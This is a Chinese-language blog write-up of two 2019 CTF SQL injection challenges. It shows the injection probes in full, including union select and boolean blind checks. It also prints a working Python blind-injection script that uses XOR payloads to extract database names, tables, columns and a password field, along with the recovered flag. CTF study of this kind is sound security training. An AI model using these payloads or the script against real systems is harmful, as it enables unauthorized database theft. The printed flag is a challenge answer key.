漏洞重溫之sql注入(FUZZ)
阿新 • • 發佈:2020-10-18
漏洞重溫之sql注入(FUZZ)
[強網杯 2019]隨便注
首先,根據頁面,發現頁面上有一個搜尋框,並且url裡面沒有id等引數控制頁面,粗略猜測該位置的注入型別是POST型。
post型注入一般使用抓包工具進行注入。
根據資料包,發現之前判斷有誤。但是在url裡在查詢操作之後多了一個可操作引數。使用測試語句來判斷閉合。
1' and 1=1 --
1' and 1=2 --
確認了閉合之後,使用order by判斷注入。
1' order by 2 --
確定了顯示的位置之後,使用聯合查詢進行注入。
1' and 1=2 union select 1,2 --
發現,可以使用的函式大部分都被過濾了。所以這裡我們直接使用盲注進行。因為之前在測試語句的時候,我們可以發現1=1和1=2返回的結果不同,所以代表我們可以使用布林型盲注。
1' and length((database()))>1 --
1' and length((database()))>10 --
然後只需要按照盲注的方式逐步進行即可。
[極客大挑戰 2019]FinalSQL
首先,看到這個頁面,有登入框,那就必須要嘗試一下萬能密碼。
看來,對方在萬能密碼上做了足夠多的防護。
然後,我們還可以看到,在頁面的位置,還存在幾個可以點選的選項,嘗試點選一下。
可以看到,雖然沒有任何的顯示,但是在url的位置上,多出了一截,資訊大概是?id=1。在url上有了引數之後,因為在頁面上並沒有回顯位置。
所以我們可以嘗試的,也就只有報錯注入和盲注了。
這裡,因為我們並沒有看到回顯的位置,所以暫時先嚐試了盲注。
決定使用盲注之後,就要嘗試尋找注入點,這裡可以使用bp自帶的字典。
發現‘^’沒有被過濾之後,那麼直接寫指令碼進行盲注。
當然,我是不太會自己寫,所以上網找了大佬寫的盲註腳本。
import re import requests import string url = "http://56c946f5-9ecf-4a67-88da-81a5393ac53e.node3.buuoj.cn/search.php" flag = '' def payload(i, j): # 資料庫名字 # sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) # 表名 # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) # 列名 # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j) # 查詢flag sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j) data = {"id": sql} r = requests.get(url, params=data) # print (r.url) if "Click" in r.text: res = 1 else: res = 0 return res def exp(): global flag for i in range(1, 10000): print(i, ':') low = 31 high = 127 while low <= high: mid = (low + high) // 2 res = payload(i, mid) if res: low = mid + 1 else: high = mid - 1 f = int((low + high + 1)) // 2 if (f == 127 or f == 31): break # print (f) flag += chr(f) print(flag) exp() print('flag=', flag)
使用第一行爆資料庫名的程式碼,得到結果如下,猜測儲存flag的資料庫為geek。
接下來,挨個使用爆表名,爆欄位,爆資料等資訊。
最後得到flag如下:
flag{90727511-6b73-45fd-b93d-1e7943d8fb62}
挑戰完成。